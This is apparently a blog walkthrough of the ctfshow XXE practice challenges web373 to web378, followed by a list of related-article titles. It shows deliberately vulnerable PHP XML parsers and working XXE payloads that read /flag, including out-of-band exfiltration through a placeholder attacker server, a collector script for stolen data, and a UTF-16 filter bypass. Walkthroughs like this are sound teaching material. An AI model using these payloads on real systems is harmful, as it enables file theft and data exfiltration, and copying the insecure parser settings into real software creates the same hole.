ctfshow web入门-XXE

  • web373
    • 题目描述
    • 解题思路
  • web374
    • 题目描述
    • 解题思路
  • web375
    • 题目描述
    • 解题思路
  • web376
    • 题目描述
    • 解题思路
  • web377
    • 题目描述
    • 解题思路
  • web378
    • 题目描述
    • 解题思路

web373

题目描述

  • 开X

解题思路

  • 题目给出源码,一个有回显的文件读取漏洞
<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){$dom = new DOMDocument();$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);$creds = simplexml_import_dom($dom);$ctfshow = $creds->ctfshow;echo $ctfshow;
}
highlight_file(__FILE__);
?>
  • 抓包发送如下内容
<?xml version="1.0"?>
<!DOCTYPE xml [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<H3rmesk1t><ctfshow>&xxe;</ctfshow>
</H3rmesk1t>

web374

题目描述

  • 开X

解题思路

  • 无回显的文件读取,需要进行外带
<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){$dom = new DOMDocument();$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);
?>
  • 抓包发送如下内容
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % remote SYSTEM "http://xxx.xxx.xxx.xxx:xxxx/xxe.xml">
%remote;
%send;
]>
  • 在服务器放置 xxe.phpxxe.xml 两个文件
<?php
$content = $_GET['1'];
if(isset($content)){file_put_contents('flag.txt','更新时间:'.date("Y-m-d H:i:s")."\n".$content);
}else{echo 'no data input';
}
<!ENTITY % all
"<!ENTITY % send SYSTEM 'http://xxx.xxx.xxx.xxx:xxxx/xxe.php?1=%file;'"
>
%all;

web375

题目描述

  • 开X

解题思路

  • 无回显的文件读取,且禁用了版本号,和上面一样进行外带不写版本号即可
<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"/', $xmlfile)){die('error');
}
if(isset($xmlfile)){$dom = new DOMDocument();$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);
?>
  • 抓包发送如下内容
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % remote SYSTEM "http://xxx.xxx.xxx.xxx:xxxx/xxe.xml">
%remote;
%send;
]>
  • 在服务器放置 xxe.phpxxe.xml 两个文件
<?php
$content = $_GET['1'];
if(isset($content)){file_put_contents('flag.txt','更新时间:'.date("Y-m-d H:i:s")."\n".$content);
}else{echo 'no data input';
}
<!ENTITY % all
"<!ENTITY % send SYSTEM 'http://xxx.xxx.xxx.xxx:xxxx/xxe.php?1=%file;'"
>
%all;

web376

题目描述

  • 开X

解题思路

  • 无回显的文件读取,且禁用了版本号,和上面一样进行外带不写版本号即可
<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"/i', $xmlfile)){die('error');
}
if(isset($xmlfile)){$dom = new DOMDocument();$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);
?>
  • 抓包发送如下内容
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % remote SYSTEM "http://xxx.xxx.xxx.xxx:xxxx/xxe.xml">
%remote;
%send;
]>
  • 在服务器放置 xxe.phpxxe.xml 两个文件
<?php
$content = $_GET['1'];
if(isset($content)){file_put_contents('flag.txt','更新时间:'.date("Y-m-d H:i:s")."\n".$content);
}else{echo 'no data input';
}
<!ENTITY % all
"<!ENTITY % send SYSTEM 'http://xxx.xxx.xxx.xxx:xxxx/xxe.php?1=%file;'"
>
%all;

web377

题目描述

  • 开X

解题思路

  • 无回显的文件读取,且禁用了版本号和http,和上面一样进行外带不写版本号改成利用 utf-16 编码即可
<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"|http/i', $xmlfile)){die('error');
}
if(isset($xmlfile)){$dom = new DOMDocument();$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);
?>
  • 利用 Python 进行发包
import requests
url = 'http://00edd7b9-7fc6-40fd-937d-deb477902dca.challenge.ctf.show:8080/'
payload = '''
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % remote SYSTEM "http://xxx.xxx.xxx.xxx:xxxx/xxe.xml">
%remote;
%send;
]>
'''
payload = payload.encode('utf-16')
rep = requests.post(url=url, data=payload)
print(rep.text)
  • 在服务器放置 xxe.phpxxe.xml 两个文件
<?php
$content = $_GET['1'];
if(isset($content)){file_put_contents('flag.txt','更新时间:'.date("Y-m-d H:i:s")."\n".$content);
}else{echo 'no data input';
}
<!ENTITY % all
"<!ENTITY % send SYSTEM 'http://xxx.xxx.xxx.xxx:xxxx/xxe.php?1=%file;'"
>
%all;

web378

题目描述

  • python X

解题思路

  • 登录框抓个包,发现是回显 xml 形式,而且是回显 username 的值,构造 Payload
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY file SYSTEM "file:///flag">
]>
<user><username>&file;</username><password>a</password></user>

ctfshow web入门-XXE相关推荐

  1. ctfshow web入门 XXE web373~web378

    目录 web373 web374.375.376 web377 web378 学习链接: 一篇文章带你深入理解漏洞之 XXE 漏洞 - 先知社区 web373 burpsuite发包,不能用hackb ...

  2. ctfshow web入门-sql注入

    ctfshow web入门-sql注入 web171 web172 web173 web174 web175 web176 web177 web178 web179 web180 web181 web ...

  3. [ctfshow]web入门——文件上传(web156-web163)

    [ctfshow]web入门--文件上传(web156-web163) [ctfshow]web入门--文件上传 [ctfshow]web入门--文件上传(web156-web163) web156 ...

  4. CTFShow web入门题刷题记录

    CTFShow web入门题刷题记录(信息搜集) web1 提示:开发注释未及时删除 打开网页查看源代码发现 flag:flag{2b2cf8e3-f880-41e1-a8ff-02601b3d998 ...

  5. 无字母数字rce(ctfshow web入门56)

    无字母数字rce(ctfshow web入门56) 我们根据这一题直接进入主题 //web56 <?php // 你们在炫技吗? if(isset($_GET['c'])){$c=$_GET[' ...

  6. [ctfshow web入门]常用姿势801-806

    1NDEX 0x00 前言 801 flask pin码计算 谨记!!python 3.8和3.6 pin码生成方式不同 werkzeug版本不同machine-id获取不同 python3.8 pi ...

  7. ctfshow web入门 命令执行 web29~web77 web118~web124

    目录 web29 web30 web31 web32 web33 web34 web35 web36 web37 web38 web39 web40 web41 web42 web43 web44 w ...

  8. ctfshow web入门 反序列化 前篇 254-266

    这里266后面主要是框架,以后在讲 反序列化入门可以参考我写的另一篇很详细的哦~php 反序列化总结 web254 <?phperror_reporting(0); highlight_file ...

  9. CTFshow——web入门——sql注入

    web入门--sql注入 基础知识点 判断是否注入 order by 判断列数 使用union select 判断回显 查询数据库 web171 web172 web173 web174 web175 ...

最新文章

  1. matlab图像中心坐标的确定,已知散点图中各点的坐标,如何确定散点图的中心点坐标?Matlab? 爱问知识人...
  2. Sql 某一字段统计
  3. Javascript中call的使用
  4. [20171130]关于rman的一些总结.txt
  5. BeautifulSoup入门案例
  6. vs安装windows media player 1208
  7. MaxCompute 图计算用户手册(上)
  8. ubuntu17.04新安装之后的软件准备
  9. pr剪辑教程,如何跨剪辑应用和调整效果?
  10. 组建技术团队的一些思考
  11. SCSI硬盘设备到/dev/sd设备的映射关系
  12. Centos 搭建DNS服务器
  13. servlet003:监听器
  14. python考勤统计_公司HR统计考勤用这个函数公式,快速、准确完成,再也不加班了...
  15. 信息学奥赛一本通|1179:奖学金
  16. JP1081B/9700_USB网卡驱动
  17. [How To]在Linux下设置无线网络桥接
  18. Echarts实现多个x轴或y轴曲线图
  19. 家用计算机做raid有用吗,磁盘阵列是什么?家用有必要磁盘阵列吗
  20. 什么是网络监控?OpManager 网络监控解决方案

热门文章

  1. 吃鸡信号枪服务器,绝地求生八人组队新模式介绍,信号枪正式上线服务器!
  2. UML—对象图、包图
  3. Python多态的两种实现形式
  4. 云课堂计算机测试答案,2020智慧职教云课堂计算机数学答案最新最全章节测试答案...
  5. 如何设置app字体跟随系统_设置Android app的字体不随系统全局字体大小的变动而变动...
  6. python画草_草刺[python]学习-装饰师,小草,穗,Python,器
  7. 低代码对接腾讯云-阿里云短信平台
  8. 第07课:技巧-敏捷教练的四种心法(iPad 版)
  9. 川大计算机专业保研,四川大学保研条件(四川大学保研政策)
  10. css字太多了省略_CSS省略号text-overflow超出溢出显示省略号